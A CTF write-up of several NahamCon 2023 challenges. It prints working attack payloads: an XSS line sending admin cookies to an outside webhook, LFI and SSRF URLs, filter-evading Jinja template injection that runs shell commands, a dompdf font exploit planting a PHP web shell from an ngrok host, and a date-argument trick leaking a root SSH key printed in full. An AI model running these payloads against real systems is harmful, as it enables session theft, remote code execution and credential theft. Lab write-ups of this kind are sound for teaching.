Home Nahamcon CTF 2023
Post
Cancel

Nahamcon CTF 2023

This is a CTF hosted for Nahamcon.

Web

Star Wars - Medium

We have a webpage with a blog post with a star wars theme.

starwars-homepage

We can click the only blog post this blog has. We can post a comment that an admin can review.

starwars-post

We can exploit this via a reflected XSS. We set up a webhook URL ( https://webhook.site/d0d94bf9-e7cf-4e17-8f12-d4eae3541057) where the admin cookies can be sent to.

The payload tries to load an image from our server, and concatenates the cookies of the webpage that this code is being loaded on. If the admin reviews this comment, this code will be ran and we will see their cookies on our webhook server via an URL request.

1
<script>var i=new Image(); i.src="https://webhook.site/d0d94bf9-e7cf-4e17-8f12-d4eae3541057/?cookie="+document.cookie;</script>

We will receive two requests on our webhook server, the first contains our own cookie as the code is being loaded right away. After a few seconds, we get another request which is the one of the admin who is reviewing our comment.

1
 https://webhook.site/d0d94bf9-e7cf-4e17-8f12-d4eae3541057/?cookie=x-wing=eyJfcGVybWFuZW50Ijp0cnVlLCJpZCI6MX0.ZJRNfQ.n7sVecPoo_6auPKEcGjerTTD4m0

We can now use the cookie value (eyJfcGVybWFuZW50Ijp0cnVlLCJpZCI6MX0.ZJRNfQ.n7sVecPoo_6auPKEcGjerTTD4m0) and update the x-wing key in our own cookie via the browser tools.

When we refresh the page, we notice an admin panel has become available.

starwars-admin

When we go to that admin panel, we get the flag.

starwars-flag

Museum - Medium

We have a webpage with an overview of images.

Homepage

When you click an item you get a detailed view. The url is http://challenge.nahamcon.com:30127/browse?artifact=angwy.jpg

Artifact

We can perform an LFI through the artifact parameter. Some payloads don’t seem to work such as:

  • ../
  • encoding
  • double url encoding

What did work was either // or /./, the payload browse?artifact=/./etc/passwd will provide us the etc/passwd file.

lfi

We can find the location of the source code via:

  • /proc/self/cmdline as it represents the command-line arguments passed to the current process.
  • /proc/self/environ which contains the environment variables associated with the current process.

The payload browse?artifact=/./proc/self/cmdline. Provides us the output:

1
Path: /home/musem/app.py

We get the source code of the app.py file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from flask import Flask, request, render_template, send_from_directory, send_file, redirect, url_for
import os
import urllib
import urllib.request

app = Flask(__name__)

@app.route('/')
def index():
    artifacts = os.listdir(os.path.join(os.getcwd(), 'public'))
    return render_template('index.html', artifacts=artifacts)

@app.route("/public/<file_name>")
def public_sendfile(file_name):
    file_path = os.path.join(os.getcwd(), "public", file_name)
    if not os.path.isfile(file_path):
        return "Error retrieving file", 404
    return send_file(file_path)

@app.route('/browse', methods=['GET'])
def browse():
    file_name = request.args.get('artifact')

    if not file_name:
        return "Please specify the artifact to view.", 400

    artifact_error = "<h1>Artifact not found.</h1>"

    if ".." in file_name:
        return artifact_error, 404

    if file_name[0] == '/' and file_name[1].isalpha():
        return artifact_error, 404
    
    file_path = os.path.join(os.getcwd(), "public", file_name)
    if not os.path.isfile(file_path):
        return artifact_error, 404

    if 'flag.txt' in file_path:
        return "Sorry, sensitive artifacts are not made visible to the public!", 404

    with open(file_path, 'rb') as f:
        data = f.read()

    image_types = ['jpg', 'png', 'gif', 'jpeg']
    if any(file_name.lower().endswith("." + image_type) for image_type in image_types):
        is_image = True
    else:
        is_image = False

    return render_template('view.html', data=data, filename=file_name, is_image=is_image)

@app.route('/submit')
def submit():
    return render_template('submit.html')

@app.route('/private_submission_fetch', methods=['GET'])
def private_submission_fetch():
    url = request.args.get('url')

    if not url:
        return "URL is required.", 400

    response = submission_fetch(url)
    return response

def submission_fetch(url, filename=None):
    return urllib.request.urlretrieve(url, filename=filename)

@app.route('/private_submission')
def private_submission():
    if request.remote_addr != '127.0.0.1':
        return redirect(url_for('submit'))

    url = request.args.get('url')
    file_name = request.args.get('filename')

    if not url or not file_name:
        return "Please specify a URL and a file name.", 400

    try:
        submission_fetch(url, os.path.join(os.getcwd(), 'public', file_name))
    except Exception as e:
        return str(e), 500

    return "Submission received.", 200

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0", port=5000)

We can perform an SSRF on the /private_submission_fetch endpoint by using the URL: http://challenge.nahamcon.com:32512/private_submission_fetch?url=http%3A%2F%2F127.0.0.1%3A5000%2Fprivate_submission%3Ffilename%3Dflag.pwn%26url%3Dfile%253A%252F%252F%252Fflag.txt

  1. The url parameter is included to specify the URL to be fetched. In this case, it is set to http://127.0.0.1:5000/private_submission?filename=flag.pwn&url=file:///flag.txt.
  2. The http://127.0.0.1:5000/private_submission URL is a local URL on the vulnerable server itself, which triggers the vulnerable endpoint in the application.
  3. The filename parameter is set to flag.pwn, and the url parameter is set to file:///flag.txt. This means that the server will attempt to fetch the file flag.txt from the local file system using the file:// scheme.
  4. The Flask application restricts access to the /private_submission endpoint to requests originating from 127.0.0.1 (localhost). However, since the SSRF payload originates from the vulnerable server itself (http://challenge.nahamcon.com:32512), the request will be considered as coming from 127.0.0.1.
  5. The submission_fetch function is called with the provided url parameter, and the function attempts to retrieve the file from the specified URL using urllib.request.urlretrieve. The retrieved file is saved in the public directory with the specified file_name (flag.pwn in this case).

An “Internal Server Error” will be thrown but you will be able to access the new flag artifact on the overview screen.

flag

Obligatory - Medium

We get a website that is a to-do list. When creating a task a message that comes from the success parameter (http://challenge.nahamcon.com:31362/?success=Task%20created) is shown on the webpage.

Homepage-obl

We can try to trigger an Server-Side Template Injection: http://challenge.nahamcon.com:31362/?success={{4*2}} .

ssti-obl

When trying out to see if special characters pass {{<%[%'"}}. We get a WAF error message:

1
2
3
4
Bad Request

HACKER DETECTED!!!!
The folowing are not allowed: [ {{\s*config\s*}},.*class.*,.*mro.*,.*import.*,.*builtins.*,.*popen.*,.*system.*,.*eval.*,.*exec.*,.*\..*,.*\[.*,.*\].*,.*\_\_.* ]

There are bypasses in HackTricks and on PayloadAllTheThings

We still need to modify these as some keywords are blocked. We can do this by hex encoding or string concatenation.

There are two methods to solving this challenge.

Intended way

We try to get the output of the config via {{config.items()}} but it is blocked. We can achieve a similar output by calling the __dict__ attribute on the self object.

__dict__ is a special attribute that holds the dictionary of attributes and their values for an object. By accessing self.__dict__, you can retrieve the dictionary that represents the internal state of the object.

We can’t use _ so we need to hex encode it to \x5f. The final payload is {{self|attr("\x5f\x5fdict\x5f\x5f")}}

ssti-2

We get the SECRET_KEY, which we can use to forge our own cookies using the flask-unsign tool. This is a command line tool to fetch, decode, brute-force and craft session cookies of a Flask application.

1
2
$ flask-unsign --sign --cookie "{'id':1}" --secret "&GTHN&Ngup3WqNm6q\$5nPGSAoa7SaDuY"
ey3aggI6MIX6.ZIyija.1gemB1NNu5gd6NigialakXabcga

Replace the cookie with the newly created one and the flag should be visible as a todo upon refreshing.

Unintended way

We can list the current directory via {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuil'+'tins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimp'+'ort\x5f\x5f')('os')|attr('pop'+'en')('id')|attr('read')()}}

ssti-ls

We need to do the strings command on the sqllite database to get the flag via the command strings DB/*. This needs to be hex encoded as no slashes or spaces are allowed.

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuil'+'tins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimp'+'ort\x5f\x5f')('os')|attr('pop'+'en')('\x73\x74\x72\x69\x6e\x67\x73\x20\x44\x42\x2f\x2a')|attr('read')()}}

ssti-flag

Sticker - Hard

We get a webpage where you can order stickers for your organization.

homepage

When pressing submit, you get a pdf containing the quote of your order.

pdf

We can analyse this pdf with exiftool and find out dompdf was used.

Orignally, I found this because I was entering xss payloads and got the error “Unable to stream pdf: headers already sent” which was related to dompdf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ exiftool quote.pdf                                                      
ExifTool Version Number         : 12.49
File Name                       : quote.pdf
Directory                       : .
File Size                       : 2.6 kB
File Modification Date/Time     : 2023:06:21 16:41:28+02:00
File Access Date/Time           : 2023:06:21 16:41:29+02:00
File Inode Change Date/Time     : 2023:06:21 16:41:28+02:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Producer                        : dompdf 1.2.0 + CPDF
Create Date                     : 2023:06:21 14:41:10+00:00
Modify Date                     : 2023:06:21 14:41:10+00:00
Title                           : Quote

We find this resource that can exploit this library. Following the steps mentioned in the blog post:

  1. We start a web server and ngrok so it’s accessible from the outside.

  2. We create a malicious ttf file where we insert php code at the bottom of the file that will allow us to execute commands on the server.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
     $ cat exploit_font. php                                                                            
      dum1cmap
             `�,glyf5sc��headQ66hhea��($hmtxD
     ...
     :8L��
    
     :D
    
     6                               s
     <?php system($_GET['cmd']); ?>
    
    
  3. We set up a custom css file that will be calling our malicious ttf file on our ngrok server.

    1
    2
    3
    4
    5
    6
    
     @font-face {
         font-family:'exploitfont';
         src:url('https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app/exploit_font.php');
         font-weight:'normal';
         font-style:'normal';
     }
    
  4. We insert the call (<link rel=stylesheet href='https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app/exploit.css'>) to our custom css in quote.php call: http://challenge.nahamcon.com:32325/quote.php?organisation=%3Clink%20rel=stylesheet%20href=%27https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app/exploit.css%27%3E&email=abc%40xyz.com&small=0&medium=0&large=0

    We can see the request worked as we have two requests in ngrok.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
     ngrok                                                                      (Ctrl+C to quit)
            
     Send your ngrok traffic logs to Datadog: https://ngrok.com/blog-post/datadog-logs                            
                                                                                
     Web Interface                 http://127.0.0.1:4040                                                          
     Forwarding                    https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app
                                                        
     -------------              
     GET /exploit.css               200 OK                                                                        
     GET /exploit_font.php          200 OK  
    
  5. Locate our malicious ttf file on the server as it has the format: “name+font_normal_md5(source_url)”. We first have to get the md5 hash of our source url.

    1
    2
    
     $ echo -n https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app/exploit_font.php | md5sum
     ca2ef7add169164f27b92b1d24b96853  -
    

    Now we can do the request to get the flag: http://challenge.nahamcon.com:32325/dompdf/lib/fonts/exploitfont_normal_ca2ef7add169164f27b92b1d24b96853.php?cmd=cat+/flag.txt

    stickers-flag

Miscellaneous

Zombie - Easy

We get access to an SSH. We find a script in the home directory that keep the flag.txt file in memory but afterwards delete the file. If we can find the process in memory, we can retrieve the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ssh -p 31871 user@challenge.nahamcon.com
user@zombie:~$ ls -lah
total 24
drwxr-sr-x    1 user     user        4.0K Jun 23 12:54 .
drwxr-xr-x    1 root     root        4.0K Jun 14 17:52 ..
-rwxr-xr-x    1 user     user        3.8K Jun 14 17:52 .bashrc
-rw-r--r--    1 user     user          17 Jun 14 17:52 .profile
-rwxr-xr-x    1 root     root         131 Jun 14 17:52 .user-entrypoint.sh
user@zombie:~$ cat .user-entrypoint.sh 
#!/bin/bash

nohup tail -f /home/user/flag.txt >/dev/null 2>&1 & # 
disown

rm -f /home/user/flag.txt 2>&1 >/dev/null

bash -i

The nohup command allows a command or process to continue running even after the terminal or shell that started it has been closed. Let’s find the right process.

1
2
3
4
5
6
7
8
9
exituser@zombie:~$ ps
PID   USER     TIME   COMMAND
    1 root       0:00 /usr/sbin/sshd -D -e
    7 root       0:00 sshd: user [priv]
    9 user       0:00 sshd: user@pts/0
   10 user       0:00 {.user-entrypoin} /bin/bash /home/user/.user-entrypoint.sh
   11 user       0:00 tail -f /home/user/flag.txt
   13 user       0:00 bash -i
   16 user       0:00 ps

The /proc file system in Linux provides a way to access process-related information and resources as if they were regular files.

1
2
3
4
5
6
7
8
9
10
11
user@zombie:~$ cd /proc/11
user@zombie:/proc/11$ ls
arch_status      cwd              map_files        oom_adj          setgroups        timens_offsets
attr             environ          maps             oom_score        smaps            timers
auxv             exe              mem              oom_score_adj    smaps_rollup     timerslack_ns
cgroup           fd               mountinfo        pagemap          stack            uid_map
clear_refs       fdinfo           mounts           personality      stat             wchan
cmdline          gid_map          mountstats       projid_map       statm
comm             io               net              root             status
coredump_filter  limits           ns               schedstat        syscall
cpuset           loginuid         numa_maps        sessionid        task

In the /proc/11/fd/3 path, we find a symbolic link representing the file descriptor 3 of process 11, which points to the deleted file containing the flag, allowing us to potentially access its contents.

1
2
3
4
5
6
7
8
9
10
11
user@zombie:/proc/11$ cd fd
user@zombie:/proc/11/fd$ ls -lah
total 0
dr-x------    2 user     user           0 Jun 23 12:56 .
dr-xr-xr-x    9 user     user           0 Jun 23 12:55 ..
lr-x------    1 user     user          64 Jun 23 12:59 0 -> /dev/null
l-wx------    1 user     user          64 Jun 23 12:59 1 -> /dev/null
l-wx------    1 user     user          64 Jun 23 12:59 2 -> /dev/null
lr-x------    1 user     user          64 Jun 23 12:59 3 -> /home/user/flag.txt (deleted)
user@zombie:/proc/11/fd$ cat /proc/11/fd/3
flag{6387e800943b0b468c2622ff858bf744}

Wordle bash - Medium

We find a script in the user directory that let’s you guess a random date.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
user@wordle:~$ cat wordle_bash.sh 
#!/bin/bash

YEARS=("2020" "2021" "2022" "2023" "2024" "2025")
MONTHS=("01" "02" "03" "04" "05" "06" "07" "08" "09" "10" "11" "12" )
DAYS=("01" "02" "03" "04" "05" "06" "07" "08" "09" "10" "11" "12" "13" "14" "15" "16" "17" "18" "19" "20" "21" "22" "23" "24" "25" "26" "27" "28" "29" "30" "31")

YEARS_SIZE=${#YEARS[@]}
YEARS_INDEX=$(($RANDOM % $YEARS_SIZE))
YEAR=${YEARS[$YEARS_INDEX]}

MONTHS_SIZE=${#MONTHS[@]}
MONTHS_INDEX=$(($RANDOM % $MONTHS_SIZE))
MONTH=${MONTHS[$MONTHS_INDEX]}

DAYS_SIZE=${#DAYS[@]}
DAYS_INDEX=$(($RANDOM % $DAYS_SIZE))
DAY=${DAYS[$DAYS_INDEX]}

TARGET_DATE="${YEAR}-${MONTH}-${DAY}"

gum style \
  --foreground 212 --border-foreground 212 --border double \
  --align center --width 50 --margin "1 2" --padding "2 4" \
  'WORDLE DATE' 'Uncover the correct date!'

echo "We've selected a random date, and it's up to you to guess it!"

wordle_attempts=1
while [ $wordle_attempts -le 5 ]
do
  echo "Attempt $wordle_attempts:"
  echo "Please select the year you think we've chosen:"
  chosen_year=$(gum choose ${YEARS[@]})

  echo "Now, enter the month of your guess: "
  chosen_month=$(gum choose ${MONTHS[@]})

  echo "Finally, enter the day of your guess: "
  chosen_day=$(gum choose ${DAYS[@]})
  
  guess_date="$chosen_year-$chosen_month-$chosen_day"
  
  if ! date -d $guess_date; then
    echo "Invalid date! Your guess must be a valid date in the format YYYY-MM-DD."
    exit
  fi

  confirmed=1
  while [ $confirmed -ne 0 ]
  do
    gum confirm "You've entered '$guess_date'. Is that right?"
    confirmed=$?
    if [[ $confirmed -eq 0 ]]
    then
      break
    fi
    echo "Please select the date you meant:"
    guess_date=$(gum input --placeholder $guess_date)
  done

  if [[ $(date $guess_date) == $(date -d $TARGET_DATE +%Y-%m-%d) ]]; then
    gum style \
      --foreground 212 --border-foreground 212 --border double \
      --align center --width 50 --margin "1 2" --padding "2 4" \
      "Congratulations, you've won! You correctly guessed the date!" 'Your flag is:' $(cat /root/flag.txt)
    exit 0
  else
    echo "Sorry, that wasn't correct!"
    echo "====================================="
  fi

  wordle_attempts=$((wordle_attempts+1))
done

gum style \
  --foreground 212 --border-foreground 212 --border double \
  --align center --width 50 --margin "1 2" --padding "2 4" \
  "Sorry, you lost." "The correct date was $TARGET_DATE."

We notice it uses the date command, which we could exploit to read any file.

When selecting a date, you have the option to input your own date if you deemed the inputted date incorrect. This is how we can exploit this script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
user@wordle:~$ ./wordle_bash.sh
                                                        
  ╔══════════════════════════════════════════════════╗  
  ║                                                  ║  
  ║                                                  ║  
  ║                   WORDLE DATE                    ║  
  ║            Uncover the correct date!             ║  
  ║                                                  ║  
  ║                                                  ║  
  ╚══════════════════════════════════════════════════╝  
                                                        
We've selected a random date, and it's up to you to guess it!
Attempt 1:
Please select the year you think we've chosen:
Now, enter the month of your guess: 
Finally, enter the day of your guess: 
Wed Jan  1 00:00:00 UTC 2020
                                           
You've entered '2020-01-01'. Is that right?
                                           
               Yes        No      
Please select the date you meant:
> -f /root/flag.txt
date: invalid date ‘[ Sorry, your flag will be displayed once you have code execution as root ]’
Sorry, that wasn't correct!
=====================================

We need to take another route to get the flag, we could get the ssh key of the root user via -f /root/.ssh/id_rsa.

The script outputs the private key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
date: invalid date ‘-----BEGIN OPENSSH PRIVATE KEY-----’
date: invalid date ‘b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn’
date: invalid date ‘NhAAAAAwEAAQAAAYEAxllMaPu/ewDglK/+qcskWbUTSiQtLBBX4Ls5EGWmGbTdKh7K7trC’
date: invalid date ‘Nht9hbSx8Ei4cLQWhbbwcvIqDAgrXYO9Vb/sr/BEyk1aVVTpFfLuFbsyZNZTqmONajdsf9’
date: invalid date ‘Kl/4Qy9u8/3duhBYaeV0Am4tK9mzM8/D2YbzmYD+pK8GFwJDQG5RdFstj6NxXjROAsaj8H’
date: invalid date ‘U7HHvkNFctEMMBmquAaG85DZO83ZUWWASB702UNrc701Mhdf7Ln92D2aEhwMisdBjK/F83’
date: invalid date ‘K71YIcrpkuDTQYhms4SGUlYIlUaIhridKH3m3BgCNhC5mjsy5IkV0VwG/SRxew0adhHxT+’
date: invalid date ‘Gc9izi2yy1uW1wrJT0u8ImQhTm35R+cLD+SpWJSHswDxygCVHTUvVIngNakJvWXRKDmS3N’
date: invalid date ‘PjIu9gaJ3D69Q3BDlxcbluhjl2Z/5nenryUZdoVORnCf75YiWgTtI/FhS7HnHyw69LaJoH’
date: invalid date ‘1NPGh/mV730OsnqtdakxkHXd3CDhcwY5QjvJlFEdAAAFgAlNDvEJTQ7xAAAAB3NzaC1yc2’
date: invalid date ‘EAAAGBAMZZTGj7v3sA4JSv/qnLJFm1E0okLSwQV+C7ORBlphm03Soeyu7awjYbfYW0sfBI’
date: invalid date ‘uHC0FoW28HLyKgwIK12DvVW/7K/wRMpNWlVU6RXy7hW7MmTWU6pjjWo3bH/Spf+EMvbvP9’
date: invalid date ‘3boQWGnldAJuLSvZszPPw9mG85mA/qSvBhcCQ0BuUXRbLY+jcV40TgLGo/B1Oxx75DRXLR’
date: invalid date ‘DDAZqrgGhvOQ2TvN2VFlgEge9NlDa3O9NTIXX+y5/dg9mhIcDIrHQYyvxfNyu9WCHK6ZLg’
date: invalid date ‘00GIZrOEhlJWCJVGiIa4nSh95twYAjYQuZo7MuSJFdFcBv0kcXsNGnYR8U/hnPYs4tsstb’
date: invalid date ‘ltcKyU9LvCJkIU5t+UfnCw/kqViUh7MA8coAlR01L1SJ4DWpCb1l0Sg5ktzT4yLvYGidw+’
date: invalid date ‘vUNwQ5cXG5boY5dmf+Z3p68lGXaFTkZwn++WIloE7SPxYUux5x8sOvS2iaB9TTxof5le99’
date: invalid date ‘DrJ6rXWpMZB13dwg4XMGOUI7yZRRHQAAAAMBAAEAAAGAECAzdPeUCOaN264hU2Gcz3RIIL’
date: invalid date ‘InQAVbd6hmX8hmhCwvAkfQR4dehx1ItmWgmoChtNFXYWtO9NwZAghp/3zV7aegZmoaKvkL’
date: invalid date ‘UT5e2DYmGCXeLNI7VBzVjZ9QQWYkBng+LShPYMoEjIP2J0bObTN6pH26cBF77VMD42Cw01’
date: invalid date ‘vrTO4z6ffbO/VQW8kk7zUV4f9vfjpJGyqx9enmsURs8PA1lDjLCIXYV2Sb/4EQzAHOCxyv’
date: invalid date ‘Zfv+LwCsvCIUqXNBVnO+N7hg5b/zh7gyvuzHq/vyOTjkNceQa7SZ/egeclWGkkYttUzUr1’
date: invalid date ‘0cveVqXTM2tfJhv8+cobJcmO7IccjsOyL+zYPR3mN/Q1nUvGyAERppXfhwTAZ5ljMRDkv/’
date: invalid date ‘KUy7IJ3Q9FnSVdqkni2u6ErHEer0/TKXAT92LYQXzTczd6hGvh+IADlmOLzU2d0RfkPZZ4’
date: invalid date ‘8GKvZfThN1OSMVpcwJMVeILWP6uz9WnnUAXgLIUriJK7rrsHpH0MNTmfTT9v5VSH3RAAAA’
date: invalid date ‘wB2od8rr4IU8AkpZ/kE9kY5a/INNsvSdUA6sn/5Fwso19fiPz2vYdP9fJMYjShV1wb8UFt’
date: invalid date ‘cajFvnnj2DnClU0imh1eC0fB5+vAmJvx8Qq9NWcmz7aejvZrBdIFbqGYr5krc5KvmizYVC’
date: invalid date ‘+tII4u4s5SFcvcZwmuIsWJQjbXA7VVa8v8Y10YJdeYsl3YpKqJdU0xPkt2Y2IgZxTJ4Dd9’
date: invalid date ‘MKgcPTBdOVuKA8r8ALCth9OV74k1GOEpLbDIY4gFiXbi7crQAAAMEA2Z0ZtNS6bUEq61DF’
date: invalid date ‘6758uI3wIeYe8NoGyxlH/oTGVqy5KfQ9vCochcSx0yov4MSZBY+foE8OAxNvAxBSV+2CnQ’
date: invalid date ‘4OHnZnKa9teSvphUCmnt4Va7CWRzmVmNiKlpMOky2P8Zfv3LdgpwrAbwxBL1HQv/eivXDm’
date: invalid date ‘0BQCxuiaOp5/3nz+K+IvA/cBhsJwS6bWMtAhcfzKfS7/NzgcLTtlVR1Li/vC/r69iDs/xi’
date: invalid date ‘zDGCjuOrjsWhqqIqjhMGZjguTz9Y+FAAAAwQDpVj6g1OSqzZ5Kw805VTcbRRTmiHb00hht’
date: invalid date ‘U4LYw5xV+1iNJ8/BijiIZaT/zXnZbzIzLBnPbzqNLW5sBPJ+eMo5wY5ZNKa/qMd4Rdj6Hx’
date: invalid date ‘pAVbuqv6sYPhj2Xl6R/yJUVRw6OGoIa0SEumrmXzbJTT25o9FgItuKOpRRWd9l4gB8Pa1I’
date: invalid date ‘LLomZzqAmpdZtcMX+ihYPAJL5UBGPkD4CO7JwHm+W36NpAEKhi/Fh6D/U/RPEtwXZEbaWY’
date: invalid date ‘vIJis7FbO7UrkAAAAJa2FsaUBrYWxpAQI=date: invalid date ‘-----END OPENSSH PRIVATE KEY-----’
Sorry, that wasn't correct!
=====================================

We now can store that private key, set permission to 600 to avoid the “too open” error and then ssh into root with the -i id_rsa argument.

1
2
3
4
5
6
7
8
9
10
$ chmod 600 id_rsa         
$ ssh -p 30323 root@challenge.nahamcon.com -i id_rsa
root@wordle:~# cat /root/flag.txt
[ Sorry, your flag will be displayed once you have code execution as root ]
root@wordle:~# ls
flag.txt  get_flag_random_suffix_345674837560870345
root@wordle:~# ./get_flag_random_suffix_345674837560870345 
Please press Enter within one second to retrieve the flag.

flag{2b9576d1a7a631b8ce12595f80f3aba5}
This post is licensed under CC BY 4.0 by the author.